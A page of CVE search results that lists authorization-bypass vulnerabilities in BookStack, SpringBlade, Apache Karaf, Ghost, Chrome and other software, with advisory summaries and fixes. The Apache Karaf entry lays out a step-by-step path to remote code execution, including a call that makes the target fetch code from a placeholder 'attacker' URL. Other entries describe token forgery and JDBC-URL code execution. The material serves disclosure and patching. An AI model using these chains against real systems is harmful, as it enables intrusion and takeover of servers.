Export limit exceeded: 10685 CVEs match your query. Please refine your search to export 10,000 CVEs or fewer.
Export limit exceeded: 14481 CVEs match your query. Please refine your search to export 10,000 CVEs or fewer.
Search
Search Results (14481 CVEs found)
| CVE | Vendors | Products | Updated | CVSS v3.1 |
|---|---|---|---|---|
| CVE-2026-67204 | 1 Bookstackapp | 1 Bookstack | 2026-10-01 | 5.4 Medium |
| BookStack before 26.05.4 contains a broken access control vulnerability that allows authenticated API users with image-update or image-delete permissions to manipulate other users' avatars by exploiting missing content-type restrictions in the Image Gallery API endpoints. Attackers can supply a user avatar's ID to the API controller, which loads any image type without the web controller's gallery and drawio restrictions, and when the avatar's uploaded_to field matches a page ID accessible to the attacker, the authorization check passes allowing the attacker to rename, replace, or delete the target user's avatar without requiring user-management permission. | ||||
| CVE-2026-56100 | 2 Bladex, Springblade Project | 2 Springblade, Springblade | 2026-10-01 | 8.1 High |
| SpringBlade versions from 2.7.3 up to but not including 5.0.0 contain a privilege escalation vulnerability that allows authenticated attackers to create system administrator accounts by sending crafted POST requests to an unprotected internal Feign user-creation endpoint exposed via @RestController without authorization checks. Attackers can exploit the gateway's authentication filter, which only validates JWT parsing without verifying user roles or caller identity, and leverage a hardcoded JWT signing key embedded in publicly available JARs to forge tokens and escalate privileges from a low-privilege user to administrator, enabling cross-tenant data pollution and persistent backdoor access. | ||||
| CVE-2026-43621 | 1 Simplemachines | 2 Simple Machines Forum, Smf | 2026-10-01 | 8.1 High |
| Simple Machines Forum (SMF) through 2.1.7, fixed in commit 6f0dc61, contains an authorization state-confusion vulnerability in the profile loader that allows authenticated low-privileged users to gain administrator access by supplying multiple values for the user parameter. Attackers can exploit the mismatch between Profile::$member and User::$me->is_owner during sequential profile loading to be treated as the owner of an administrator profile, enabling unauthorized password changes and full account takeover. | ||||
| CVE-2026-39914 | 1 Tim-solutions | 1 Tim Flow | 2026-10-01 | 6.5 Medium |
| TIM Flow before 26.0.6 contains an improper authorization vulnerability that allows any authenticated user to submit arbitrary SQL queries to a privileged dashboard Excel export endpoint intended for administrative use only. Attackers can craft and submit unauthorized SQL queries to the export endpoint to retrieve sensitive database contents as a downloadable spreadsheet, bypassing role-based access controls. | ||||
| CVE-2026-92142 | 1 Apache | 1 Karaf | 2026-10-01 | 8.8 High |
| Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded: private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes")); The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg. As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches). This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM: * Authenticate to JMX as any user with any role (e.g. "viewer"). * mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted. * The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM. * mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail. The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.: createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels. | ||||
| CVE-2026-91085 | 1 Apache | 1 Karaf | 2026-10-01 | 6.3 Medium |
| Apache Karaf's shell/SSH command security is enforced by per-scope ACL configuration files (etc/org.apache.karaf.command.acl.<scope>.cfg). SecuredSessionFactoryImpl.checkSecurity() resolves the roles required for an invocation and, when no ACL rule matches the command, fails open: ACLConfigurationParser.Specificity.NO_MATCH sets passCheck = true. The safety valve for this, karaf.secured.command.compulsory.roles, ships commented out in etc/system.properties, so an unmatched command is allowed for any authenticated user. The shipped org.apache.karaf.command.acl.config ACL (assemblies/features/standard/src/main/feature/feature.xml, mirrored into instance/.../etc/org.apache.karaf.command.acl.config.cfg) has no install entry. It restricts delete to admin, restricts edit/property-*/update on the jmx.acl.*, org.apache.karaf.command.acl.* and org.apache.karaf.service.acl.* PIDs to admin, and allows manager for everything else, but config:install was simply unmatched, and therefore allowed for any authenticated user, including one holding only the viewer role. config:install <url> <finalname> fetches url and writes it into ${karaf.etc} as finalname. It calls PathUtils.checkWithin() to block .. traversal outside karaf.etc, but that folder holds every security-relevant file Karaf ships: users.properties, keys.properties, host.key, and all org.apache.karaf.*.acl.* files, including the very ACL file that (mis)governs this command. With -o/--override, an existing file is overwritten with attacker-controlled bytes fetched from an arbitrary URL. Because felix.fileinstall.dir = ${karaf.etc} (etc/config.properties), Felix FileInstall also watches and reloads any .cfg file dropped there, closing the loop without requiring a restart. By contrast, bundle:install, feature:install and kar:install are all admin-only in their own ACLs, and config:delete is admin in this same ACL, config:install was the outlier. MitigationAdd install = admin in etc/org.apache.karaf.command.acl.config.cfg (create the file is absent), and/or set karaf.secured.command.compulsory.roles=admin in etc/system.properties (and restart) to make unmatched commands fail closed by default. | ||||
| CVE-2026-91048 | 1 Apache | 1 Karaf | 2026-10-01 | 9.8 Critical |
| The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg. Karaf's command guard (SecuredSessionFactoryImpl) treats a command with no matching ACL rule as allowed, so any authenticated shell session (including one holding only the viewer role) could run every jdbc:* command. jdbc:ds-create stores a fully attacker-controlled JDBC URL into a pax-jdbc-config factory Configuration with no validation. pax-jdbc-config reactively turns that into a live DataSource. Several JDBC drivers run code or SQL at connection time based on URL parameters (e.g. H2 INIT=RUNSCRIPT), so a viewer-level shell user could reach arbitrary code execution, bypassing the admin-role gate that already protects shell:exec. This is a privilege-escalation-to-RCE chain, not merely an "admin misconfiguration". The same applies to jms:* shell commands. | ||||
| CVE-2026-103758 | 1 Obot-platform | 1 Obot | 2026-10-01 | 8.1 High |
| Obot 0.21.1 through 0.24.1 contains an authorization bypass vulnerability that allows authenticated users to reach MCP servers because the checkUI deny list omits the /mcp-connect-composite/ route. Basic-role users with a composite MCP ID can proxy requests through mcpGateway.Proxy to invoke tools on MCP servers restricted by Access Control Rules. | ||||
| CVE-2026-103274 | 1 Ghost | 1 Ghost | 2026-10-01 | 5.3 Medium |
| Ghost versions 5.3.0 before 6.58.0 fail to properly enforce access controls on comments in private mode. Unauthenticated visitors can read comments that should be restricted, bypassing privacy settings. | ||||
| CVE-2026-103269 | 1 Ghost | 1 Ghost | 2026-10-01 | 5.3 Medium |
| Ghost versions 5.3.0 before 6.62.0 contain a missing authorization vulnerability that allows an authenticated site member to read the excerpts of posts they do not have access to (gated content). | ||||
| CVE-2026-103265 | 1 Fleetdm | 1 Fleet | 2026-10-01 | 4.3 Medium |
| Fleet versions before 4.89.0 fail to properly filter MDM command results by team authorization in the commands/results endpoint. Team-scoped users can read MDM command results for hosts on other teams when a shared command UUID targets hosts across multiple teams, exposing host UUIDs, command payloads, and device responses. | ||||
| CVE-2026-101006 | 1 Frappe | 1 Hr | 2026-10-01 | 4.3 Medium |
| A flaw has been found in Frappe HR up to 16.15.0. This vulnerability affects the function get_expense_claims/get_shift_requests/get_attendance_requests of the file hrms/api/__init__.py of the component Permission Validation. This manipulation of the argument employee causes incorrect authorization. Remote exploitation of the attack is possible. The vendor replied: "This issue has already been reported by another individual, and based on that, we have fixed it." | ||||
| CVE-2026-101000 | 1 Netcore | 1 Nbr100v2 | 2026-10-01 | 10 Critical |
| A vulnerability was determined in Netcore NBR100V2 1.3.240614.030928. This affects the function uci.apply of the file /usr/share/rpcd/acl.d/unauthenticated.json of the component ACL Handler. This manipulation of the argument section causes missing authorization. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way. | ||||
| CVE-2026-95290 | 1 Google | 1 Chrome | 2026-10-01 | 5.4 Medium |
| Missing authorization in NFC in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium) | ||||
| CVE-2026-95297 | 1 Google | 1 Chrome | 2026-10-01 | 6.5 Medium |
| Missing authorization in Contextual Tasks in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium) | ||||
| CVE-2026-95300 | 1 Google | 1 Chrome | 2026-10-01 | 4.8 Medium |
| Missing authorization in DevTools in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to bypass system access restrictions via crafted network traffic. (Chromium security severity: Medium) | ||||
| CVE-2026-95301 | 1 Google | 1 Chrome | 2026-10-01 | 8.1 High |
| Missing authorization in Extensions in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: High) | ||||
| CVE-2026-95340 | 1 Google | 1 Chrome | 2026-10-01 | 4.3 Medium |
| Incorrect authorization in PictureInPicture in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low) | ||||
| CVE-2026-95342 | 1 Google | 1 Chrome | 2026-10-01 | 4.3 Medium |
| Missing authorization in V8 in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low) | ||||
| CVE-2026-103495 | 1 Jetbrains | 1 Youtrack | 2026-10-01 | 4.3 Medium |
| In JetBrains YouTrack before 2026.2.19422 missing authorisation allowed reloading of translation catalogs | ||||